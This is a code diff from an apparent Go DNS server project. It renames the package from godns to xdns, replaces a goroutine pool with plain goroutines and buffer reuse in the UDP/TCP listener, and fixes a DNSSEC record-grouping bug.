"encoding/binary" @@ -6,8 +6,6 @@ import ( "io" "log" "net" - - "github.com/panjf2000/ants/v2" ) // NetterConfig 结构体用于记录网络监听器的配置 @@ -19,11 +17,10 @@ type NetterConfig struct { // Netter 数据包监听器:接收、解析、发送数据包,并维护连接状态。 type Netter struct { NetterPort int - NetterPool *ants.Pool NetterLogger *log.Logger } -func NewNetter(nConf NetterConfig, pool *ants.Pool) *Netter { +func NewNetter(nConf NetterConfig) *Netter { netterLogger := log.New(nConf.LogWriter, "Netter: ", log.LstdFlags) return &Netter{ @@ -35,21 +32,27 @@ func NewNetter(nConf NetterConfig, pool *ants.Pool) *Netter { // Sniff 函数用于监听指定端口,并返回链接信息通道 // 其返回值为:chan ConnectionInfo,链接信息通道 func (n *Netter) Sniff() chan ConnectionInfo { - connChan := make(chan ConnectionInfo) + connChan := make(chan ConnectionInfo, 16) // udp pktConn, err := net.ListenPacket("udp", fmt.Sprintf(":%d", n.NetterPort)) if err != nil { n.NetterLogger.Panicf("Error listening on udp port: %v", err) } - ants.Submit(func() { n.handlePktConn(pktConn, connChan) }) + conn := pktConn.(*net.UDPConn) + conn.SetReadBuffer(104857600) + conn.SetWriteBuffer(104857600) + if err != nil { + n.NetterLogger.Panicf("Error listening on udp port: %v", err) + } + go n.handlePktConn(pktConn, connChan) // tcp lstr, err := net.Listen("tcp", fmt.Sprintf(":%d", n.NetterPort)) if err != nil { n.NetterLogger.Panicf("Error listening on tcp port: %v", err) } - ants.Submit(func() { n.handleListener(lstr, connChan) }) + go n.handleListener(lstr, connChan) return connChan } @@ -66,35 +69,51 @@ func (n *Netter) handleListener(lstr net.Listener, connChan chan ConnectionInfo) if err != nil { n.NetterLogger.Printf("Error accepting tcp connection: %v", err) } else { - ants.Submit(func() { n.handleStreamConn(conn, connChan) }) + go n.handleStreamConn(conn, connChan) } } } -// handlePktConn 函数用于处理 数据包 链接 +// handlePktConn 函数用于监听UDP数据包 // 其接收参数为: // - pktConn: net.PacketConn,数据包链接 // - connChan: chan ConnectionInfo,链接信息通道 // // 该函数将会读取 数据包链接 中的数据,并将其发送到链接信息通道中 func (n *Netter) handlePktConn(pktConn net.PacketConn, connChan chan ConnectionInfo) { - buf := make([]byte, 65535) + // 可用缓冲区表 + bufList := make(chan []byte, 10000) + for i := 0; i < 10000; i++ { + bufList <- make([]byte, 65535) + } + for { + // 从缓冲区表中取出缓冲区 + buf := <-bufList + + // 读取数据至缓冲区 sz, addr, err := pktConn.ReadFrom(buf) if err != nil { n.NetterLogger.Printf("Error reading udp packet: %v", err) - return - } else { + continue + } + + go func() { + // 从缓冲区中取出数据包 pkt := make([]byte, sz) copy(pkt, buf[:sz]) + // 将缓冲区放回缓冲区表 + bufList <- buf + + // 返回链接信息至通道 connChan <- ConnectionInfo{ Protocol: ProtocolUDP, Address: addr, PacketConn: pktConn, Packet: pkt, } - } + }() } } @@ -105,7 +124,7 @@ func (n *Netter) handlePktConn(pktConn net.PacketConn, connChan chan ConnectionI // // 该函数将会读取 流式链接 中的数据,并将其发送到链接信息通道中 func (n *Netter) handleStreamConn(conn net.Conn, connChan chan ConnectionInfo) { - buf := make([]byte, 65535) + buf := make([]byte, 10485760) sz, err := conn.Read(buf) if err != nil { diff --git a/responser.go b/responser.go index 45ca3d3..a0407e0 100644 --- a/responser.go +++ b/responser.go @@ -3,15 +3,15 @@ // responser.go 文件定义了 Responser 接口及其若干实现范例。 // 可以根据需求自定义实现 Responser 接口,以生成 DNS 回复信息。 -package godns +package xdns import ( "fmt" "strings" "time" - "github.com/tochusc/godns/dns" - "github.com/tochusc/godns/dns/xperi" + "github.com/tochusc/xdns/dns" + "github.com/tochusc/xdns/dns/xperi" ) // Responser 是一个 DNS 回复器 接口。 @@ -265,7 +265,7 @@ func (d *BaseManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { continue } rid := rr.Name + rr.Type.String() + rr.Class.String() - rMap[rid] = append(rMap[rr.Name], rr) + rMap[rid] = append(rMap[rid], rr) } for _, rrset := range rMap { uName := dns.GetUpperDomainName(&rrset[0].Name) diff --git a/server.go b/server.go index deb9b58..aa3ac2e 100644 --- a/server.go +++ b/server.go @@ -1,59 +1,49 @@ // Copyright 2024 TochusC AOSP Lab. All rights reserved. -// server.go 文件定义了 GoDNS 服务器的最顶层封装。 -// GoDNS 服务器是一个易用、灵活的 DNS 服务器, +// server.go 文件定义了 xdns 服务器的最顶层封装。 +// xdns 服务器是一个易用、灵活的 DNS 服务器, // 它可以监听指定的网络设备和端口,接收 DNS 请求并做出回复。 -// GoStart 函数提供了一个一键启动 GoDNS 服务器的代码示例。 +// GoStart 函数提供了一个一键启动 xdns 服务器的代码示例。 -package godns +package xdns import ( "io" "log" "net" - - "github.com/panjf2000/ants/v2" ) -// GoDNSServer 表示 GoDNS 服务器 +// xdnsServer 表示 xdns 服务器 // 其包含以下三部分: // - ServerConfig: DNS 服务器配置 // - Sniffer: 数据包嗅探器 // - Handler: 数据包处理器 -type GoDNSServer struct { +type XdnsServer struct { SeverConfig DNSServerConfig - // GoDNS 服务器的日志 - GoDNSLogger *log.Logger - - ThreadPool *ants.Pool + // xdns 服务器的日志 + xdnsLogger *log.Logger Netter Netter Cacher Cacher Responer Responser } -func NewGoDNSServer(serverConf DNSServerConfig, responser Responser) *GoDNSServer { - godnsLogger := log.New(serverConf.LogWriter, "GoDNS: ", log.LstdFlags) - pool, err := ants.NewPool(serverConf.PoolCapcity) - if err != nil { - godnsLogger.Panicf("Error creating ants pool: %v", err) - } +func NewxdnsServer(serverConf DNSServerConfig, responser Responser) *xdnsServer { + xdnsLogger := log.New(serverConf.LogWriter, "xdns: ", log.LstdFlags) netter := NewNetter(NetterConfig{ Port: serverConf.Port, LogWriter: serverConf.LogWriter, - }, pool) + }) cacher := NewCacher(CacherConfig{ CacheLocation: serverConf.CacheLocation, LogWriter: serverConf.LogWriter, - }, pool) + }) - return &GoDNSServer{ + return &xdnsServer{ SeverConfig: serverConf, - GoDNSLogger: godnsLogger, - - ThreadPool: pool, + xdnsLogger: xdnsLogger, Netter: *netter, Cacher: *cacher, @@ -61,7 +51,7 @@ func NewGoDNSServer(serverConf DNSServerConfig, responser Responser) *GoDNSServe } } -func (s *GoDNSServer) HandleConnection(connInfo ConnectionInfo) { +func (s *xdnsServer) HandleConnection(connInfo ConnectionInfo) { // 从缓存中查找响应 if s.SeverConfig.EnebleCache { cache, err := s.Cacher.FetchCache(connInfo) @@ -72,7 +62,7 @@ func (s *GoDNSServer) HandleConnection(connInfo ConnectionInfo) { } resp, err := s.Responer.Response(connInfo) if err != nil { - s.GoDNSLogger.Printf("Error generating response: %v", err) + s.xdnsLogger.Printf("Error generating response: %v", err) return } @@ -82,14 +72,14 @@ func (s *GoDNSServer) HandleConnection(connInfo ConnectionInfo) { } } -// Start 启动 GoDNS 服务器 -func (s *GoDNSServer) Start() { - // GoDNS 启动! - s.GoDNSLogger.Printf("GoDNS Starts!") +// Start 启动 xdns 服务器 +func (s *xdnsServer) Start() { + // xdns 启动! + s.xdnsLogger.Printf("xdns Starts!") connChan := s.Netter.Sniff() for connInfo := range connChan { - s.ThreadPool.Submit(func() { s.HandleConnection(connInfo) }) + go s.HandleConnection(connInfo) } }